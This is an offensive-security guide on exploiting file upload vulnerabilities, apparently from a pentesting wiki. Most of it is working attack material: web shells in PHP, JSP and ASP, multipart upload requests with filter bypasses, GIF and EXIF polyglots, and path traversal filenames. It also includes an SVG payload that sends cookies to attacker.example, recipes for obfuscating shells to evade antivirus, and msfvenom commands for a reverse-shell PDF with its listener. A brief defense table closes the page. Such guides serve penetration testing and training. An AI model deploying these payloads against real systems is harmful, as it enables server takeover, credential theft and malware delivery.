Malicious file upload
Questi contenuti non sono ancora disponibili nella tua lingua.
File upload vulnerabilities exist when an application lets users upload files without properly validating what those files are and what they do. The impact depends on two things: which validation the server fails to enforce, and whether the server ever executes the uploaded file.
The worst case is straightforward: the server allows uploading a file with an executable
extension (.php, .jsp, .asp) and the web server is configured to execute that extension.
Upload a web shell, request it, and you have RCE.
Why it happens
Section titled “Why it happens”Web servers decide how to handle a requested file based on its extension:
| File type | Server behavior |
|---|---|
Non-executable (.png, .html, .css) |
Serves the file content as-is |
Executable (.php) and configured to execute |
Runs the script, returns the output |
| Executable but not configured | Returns an error, or leaks the source code as plaintext |
The vulnerability exists because validation happens at upload time (checking the file looks safe) while execution happens at request time (the web server decides based on the extension). If the upload validation is flawed, the attacker controls what the web server executes.
Web shells
Section titled “Web shells”A web shell is the payload. Once uploaded and executed, it gives the attacker arbitrary command execution through HTTP requests.
PHP command execution shell - takes a cmd parameter and passes it to the OS:
<?php echo system($_GET['cmd']); ?>GET /uploads/shell.php?cmd=id HTTP/1.1Host: target.exampleHTTP/1.1 200 OK
uid=33(www-data) gid=33(www-data) groups=33(www-data)PHP file read shell - reads any file the web server user can access:
<?php echo file_get_contents('/etc/passwd'); ?>JSP shell (Java web servers like Tomcat):
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>ASP shell (IIS):
<%eval request("cmd")%>Bypass techniques
Section titled “Bypass techniques”Applications typically stack multiple validation checks. Each one is bypassable on its own.
Bypass 1 - Content-Type header
Section titled “Bypass 1 - Content-Type header”The server checks the Content-Type value in the multipart upload body. This value is
client-controlled and trivially spoofable.
POST /upload HTTP/1.1Host: target.exampleContent-Type: multipart/form-data; boundary=----Boundary
------BoundaryContent-Disposition: form-data; name="file"; filename="shell.php"Content-Type: application/x-httpd-php
[PHP web shell content]------Boundary--The server blocks application/x-httpd-php. Change it to an allowed type:
POST /upload HTTP/1.1Host: target.exampleContent-Type: multipart/form-data; boundary=----Boundary
------BoundaryContent-Disposition: form-data; name="file"; filename="shell.php"Content-Type: image/jpeg
[PHP web shell content]------Boundary--The server sees image/jpeg, allows the upload. The file is saved as shell.php. When
requested, the web server executes it based on the .php extension, ignoring the content
type it was uploaded with.
Bypass 2 - Extension blacklist (alternative extensions)
Section titled “Bypass 2 - Extension blacklist (alternative extensions)”The server blocks .php but forgets other extensions that the web server also executes as
PHP:
| Blocked | Alternatives that execute as PHP |
|---|---|
.php |
.php5, .php7, .phtml, .phar, .phps |
.asp |
.aspx, .ashx, .asmx, .cer |
.jsp |
.jspx, .jspf |
------BoundaryContent-Disposition: form-data; name="file"; filename="shell.phtml"Content-Type: image/jpeg
[PHP web shell content]------Boundary--If the web server has AddHandler application/x-httpd-php .phtml in its Apache configuration
(or equivalent), shell.phtml executes as PHP.
Bypass 3 - Server configuration override
Section titled “Bypass 3 - Server configuration override”If the server allows uploading .htaccess (Apache) or web.config (IIS), the attacker can
reconfigure how the server handles specific extensions in that directory.
Step 1: upload a .htaccess file that maps a custom extension to PHP:
AddType application/x-httpd-php .evilStep 2: upload the web shell with the custom extension:
<?php echo system($_GET['cmd']); ?>Now .evil files in that directory are executed as PHP.
IIS equivalent:
<configuration> <system.webServer> <handlers> <add name="evil" path="*.evil" verb="*" modules="FastCgiModule" scriptProcessor="C:\php\php-cgi.exe" resourceType="Unspecified" /> </handlers> </system.webServer></configuration>Bypass 4 - Extension obfuscation
Section titled “Bypass 4 - Extension obfuscation”When the server has a blacklist, these obfuscation tricks can slip through:
| Technique | Filename | Why it works |
|---|---|---|
| Case sensitivity | shell.pHp |
Blacklist checks for .php (lowercase), but the filesystem or web server is case-insensitive |
| Double extension | shell.php.jpg |
Server checks the last extension (.jpg), but Apache may parse .php if AddHandler matches anywhere in the filename |
| Trailing dot | shell.php. |
Windows strips the trailing dot after validation |
| Trailing space | shell.php |
Same stripping behavior on Windows |
| Semicolon (IIS) | shell.asp;.jpg |
IIS truncates at the semicolon, executes shell.asp |
| URL encoding | shell.%70%68%70 |
If the server decodes after validation: .php |
| Double URL encoding | shell.%252e%2570%2568%2570 |
If the server double-decodes |
| Null byte (legacy) | shell.php%00.jpg |
Old PHP/Java truncate at %00, saves as shell.php |
| Stripping bypass | shell.p.phphp |
If the server strips .php once, the remaining chars form .php |
| NTFS alternate data stream | shell.php::$DATA |
Windows NTFS, server may not strip ::$DATA |
------BoundaryContent-Disposition: form-data; name="file"; filename="shell.php%00.jpg"Content-Type: image/jpeg
[PHP web shell content]------Boundary--Bypass 5 - Magic bytes / content validation (polyglot files)
Section titled “Bypass 5 - Magic bytes / content validation (polyglot files)”The server reads the first bytes of the file to verify its format:
| Format | Magic bytes (hex) | ASCII |
|---|---|---|
| JPEG | FF D8 FF |
(binary) |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
.PNG.... |
| GIF | 47 49 46 38 39 61 |
GIF89a |
25 50 44 46 2D |
%PDF- |
Polyglot approach: create a file that has valid image magic bytes but also contains
executable code. Use exiftool to embed PHP in the image metadata:
exiftool -Comment='<?php echo system($_GET["cmd"]); ?>' image.jpg -o shell.php.jpgThe file starts with FF D8 FF (valid JPEG), passes magic byte validation, but contains
PHP code in the EXIF comment field. If the server executes it as PHP (via extension bypass
or misconfiguration), the code runs.
Minimal GIF polyglot (no source image needed):
GIF89a;<?php echo system($_GET['cmd']); ?>The first 6 bytes are valid GIF magic. The rest is PHP. If the server checks only magic
bytes and the file is executed as PHP, GIF89a; is treated as an unknown constant (ignored),
and the PHP tag runs.
Bypass 6 - Path traversal in filename
Section titled “Bypass 6 - Path traversal in filename”The upload directory might be configured as non-executable. The attacker uses ../ in the
filename to escape to an executable directory:
------BoundaryContent-Disposition: form-data; name="file"; filename="../shell.php"Content-Type: image/jpeg
[PHP web shell content]------Boundary--If the server stores files in /var/www/uploads/ (non-executable) but does not sanitize the
filename, the file lands at /var/www/shell.php (where PHP is executed).
URL-encoded variant (if the server strips ../ but does not decode first):
Content-Disposition: form-data; name="file"; filename="..%2fshell.php"Double URL-encoded:
Content-Disposition: form-data; name="file"; filename="..%252f..%252fshell.php"Bypass 7 - Race condition
Section titled “Bypass 7 - Race condition”The server uploads the file first, validates it, then deletes it if it fails validation. During the brief window between upload and deletion, the file is accessible.
- Upload
shell.php - Immediately send
GET /uploads/shell.php?cmd=id - If the request arrives before deletion, the shell executes
Burp Intruder approach:
- Configure the upload request in Intruder with a null payload (repeat the same request)
- In a second Intruder tab, configure
GET /uploads/shell.php?cmd=idwith null payloads - Run both simultaneously at maximum speed
- Look for 200 responses in the GET tab
Slowing down validation to widen the race window:
- Upload a very large file (large image + PHP at the end)
- Upload a file that triggers complex parsing (a nested archive)
Upload to RCE: the full chain
Section titled “Upload to RCE: the full chain”The typical chain from upload to shell:
- Identify the upload - find a file upload feature (profile picture, document upload, import function)
- Determine the storage location - upload a legitimate file, check where it lands (look at the response, the URL of the uploaded file, or the page source)
- Test which validation is in place - upload a
.phpfile and observe the error. Then try each bypass in order - Upload the web shell - use the bypass that works
- Execute - request the uploaded file with a command parameter
POST /upload/avatar HTTP/1.1Host: target.exampleContent-Type: multipart/form-data; boundary=----Boundary
------BoundaryContent-Disposition: form-data; name="file"; filename="test.jpg"Content-Type: image/jpeg
[valid JPEG data]------Boundary--HTTP/1.1 200 OK
{"status":"success","url":"/uploads/avatars/test.jpg"}Now you know files land in /uploads/avatars/. Upload the shell there.
Non-RCE impacts
Section titled “Non-RCE impacts”Even when the server does not execute uploaded files, file upload can still cause damage:
XSS via uploaded HTML or SVG
Section titled “XSS via uploaded HTML or SVG”If the server serves uploaded files from the same origin, an HTML or SVG file with embedded JavaScript executes in the application’s context:
<svg xmlns="http://www.w3.org/2000/svg"> <script>fetch('https://attacker.example/steal?c='+document.cookie)</script></svg>XXE via XML-based formats
Section titled “XXE via XML-based formats”Office documents (.docx, .xlsx, .pptx) are ZIP archives containing XML files. If the
server parses them (for preview or content extraction), XXE injection is possible through the
embedded XML.
File overwrite
Section titled “File overwrite”If the filename is used directly for storage without randomization, uploading a file named
../../../templates/index.html could overwrite the application’s main page (defacement).
PUT method upload
Section titled “PUT method upload”Some servers accept file uploads via the HTTP PUT method without authentication:
PUT /uploads/shell.php HTTP/1.1Host: target.exampleContent-Type: application/x-httpd-php
[web shell content]Check for this with an OPTIONS request first:
OPTIONS /uploads/ HTTP/1.1Host: target.exampleAntivirus evasion
Section titled “Antivirus evasion”Uploading a web shell is only half the battle. Many servers run antivirus or endpoint protection that scans uploaded files. Understanding how AV detects malicious files is essential to bypass it.
How antivirus detection works
Section titled “How antivirus detection works”AV engines use multiple detection layers:
| Layer | How it works | What it catches |
|---|---|---|
| Signature-based | Matches known byte sequences in the file | Known malware, common web shells, well-known payloads |
| Heuristic | Looks for suspicious patterns and structures (e.g., code inside image metadata) | Modified or obfuscated variants of known threats |
| Behavioral | Monitors what the file does when executed (sandboxing) | Zero-day malware, custom payloads |
| YARA rules | Custom pattern-matching rules written by analysts | Organization-specific threat hunting |
Signature-based detection is the most common for uploaded files. The AV maintains a database of byte patterns. For PHP web shells, signatures typically match combinations like:
- The PHP opening tag near
system(),exec(),passthru(), orshell_exec() eval()combined with superglobals ($_GET,$_POST,$_REQUEST)- Known shell tools (c99, r57, WSO) by their unique strings
Evasion techniques
Section titled “Evasion techniques”String obfuscation
Section titled “String obfuscation”Instead of writing function names directly, build them at runtime so the string never appears as a contiguous token in the file:
Variable function call - concatenate the function name from parts:
$f = 'sys'.'tem';$f($_GET['cmd']);Base64 encoding - the raw file contains no recognizable function calls:
eval(base64_decode('encoded_payload_here'));Character-level construction - build each character from its ASCII code:
$a = chr(115).chr(121).chr(115).chr(116).chr(101).chr(109);$a($_GET['cmd']);Signature scanners looking for function names followed by parameter superglobals will not match any of these.
Alternate execution functions
Section titled “Alternate execution functions”If the AV specifically flags system(), use a different function that also executes OS
commands:
| Function | Notes |
|---|---|
system() |
Most commonly flagged |
exec() |
Returns last line of output |
passthru() |
Passes raw output directly |
shell_exec() |
Returns complete output as string |
popen() |
Opens a process file pointer |
proc_open() |
More control over the process |
pcntl_exec() |
Replaces the current process |
| Backtick syntax | Equivalent to shell_exec(), often missed by scanners |
File content splitting
Section titled “File content splitting”Split the payload across multiple files to avoid triggering signatures on any single file:
- Upload
loader.phpthat contains onlyinclude('data.dat'); - Upload
data.datwith the actual shell code
The .dat file may not be scanned by the AV (non-executable extension), and the loader
contains no suspicious function calls on its own.
Metadata injection
Section titled “Metadata injection”Hide the payload in file metadata where AV scanners are less likely to inspect:
exiftool -Comment='payload_here' clean.jpg -o evil.jpgThe file is a valid JPEG. Some AV engines skip metadata inspection entirely. If the server processes the file through an extension bypass, the PHP engine parses the entire file and finds the code in the EXIF data.
Encoding and encryption
Section titled “Encoding and encryption”XOR-encode or AES-encrypt the payload. The source file contains only eval() with an opaque
string. The actual shell code is decrypted at runtime. This defeats signature-based detection
completely but may trigger heuristic rules on the eval() call itself.
AV bypass testing workflow
Section titled “AV bypass testing workflow”- Generate or write the payload
- Test against the target AV locally (not VirusTotal, see below)
- If flagged, isolate the trigger: remove sections until it passes
- Obfuscate the flagged section
- Re-test until it passes while still functioning
- Upload to the target
Weaponizing with msfvenom
Section titled “Weaponizing with msfvenom”When the target application does not execute uploaded files server-side but users download and open them, generate payloads that exploit client-side vulnerabilities:
msfvenom -p windows/meterpreter/reverse_tcp \ LHOST=<attacker-ip> LPORT=4444 \ -f pdf -o payload.pdfmsfconsole -q -x "use exploit/multi/handler; \ set payload windows/meterpreter/reverse_tcp; \ set LHOST <attacker-ip>; set LPORT 4444; exploit"The generated PDF has valid %PDF-1.4 magic bytes and a .pdf extension. It passes every
upload validation check. When a user opens it in a vulnerable PDF reader, the embedded
JavaScript triggers a reverse shell.
| Format | Flag | Target |
|---|---|---|
-f pdf |
Adobe Reader JS vulnerabilities | |
| Windows EXE | -f exe |
Direct execution |
| WAR | -f war |
Tomcat / JBoss manager deploy |
| PowerShell | -f ps1 |
Fileless execution on Windows |
| DLL | -f dll |
DLL sideloading / hijacking |
Testing methodology
Section titled “Testing methodology”Phase 1 - Reconnaissance
Section titled “Phase 1 - Reconnaissance”| Check | How |
|---|---|
| Find upload features | Profile pictures, document imports, CSV uploads, support ticket attachments |
| Determine storage path | Upload a legitimate file, find its URL in the response or page source |
| Identify the web server | Response headers (Server:, X-Powered-By:) tell you which extensions are executable |
Phase 2 - Test validation layers
Section titled “Phase 2 - Test validation layers”| Test | What to upload | Expected if vulnerable |
|---|---|---|
| No validation | shell.php directly |
200 OK, file accessible |
| Content-Type only | shell.php with Content-Type: image/jpeg |
Upload succeeds |
| Extension blacklist | shell.phtml, shell.php5 |
Upload succeeds with alternative extension |
| Config override | .htaccess mapping .evil to PHP, then shell.evil |
Both upload, shell executes |
| Extension obfuscation | shell.php.jpg, shell.php%00.jpg, shell.pHp |
Upload succeeds, server executes |
| Magic bytes | GIF89a polyglot or exiftool-injected JPEG | Passes content check, executes if extension is right |
| Path traversal | ../shell.php in filename |
File lands outside upload directory |
| Race condition | Upload + rapid GET in parallel | Shell executes before deletion |
Phase 3 - Confirm execution
Section titled “Phase 3 - Confirm execution”After a successful upload, verify the shell executes:
curl "https://target.example/uploads/shell.php?cmd=id"If the response contains uid=33(www-data), you have RCE.
Defense
Section titled “Defense”| Measure | What it prevents |
|---|---|
| Extension allowlist (not blacklist) | All extension bypass tricks |
| Validate content, not headers - parse with a library (Pillow for images, a PDF parser), reject anything with unexpected structures | Magic byte spoofing, polyglots |
| Re-encode uploaded images - strip EXIF, resize | Embedded payloads in metadata |
| Generate random filenames server-side | Path traversal, extension tricks, file overwrite |
Serve uploads from a separate domain with Content-Disposition: attachment |
XSS via uploaded HTML/SVG |
| Non-executable upload directory | Even if a shell is uploaded, it will not execute |
| Antivirus / sandbox scanning before storage | Malicious content in valid file formats |
| Restrict file size and rate-limit | DoS via disk filling, brute-force bypass attempts |
References
Section titled “References”- PortSwigger Web Security Academy - File upload vulnerabilities
- PortSwigger Lab: Remote code execution via web shell upload
- PortSwigger Lab: Web shell upload via Content-Type restriction bypass
- PortSwigger Lab: Web shell upload via path traversal
- PortSwigger Lab: Web shell upload via extension blacklist bypass
- PortSwigger Lab: Web shell upload via obfuscated file extension
- PortSwigger Lab: Remote code execution via polyglot web shell upload
- PortSwigger Lab: Web shell upload via race condition
- OWASP File Upload Cheat Sheet
- HackTricks - File Upload
- Metasploit msfvenom documentation
2310 parole, circa 12 min di lettura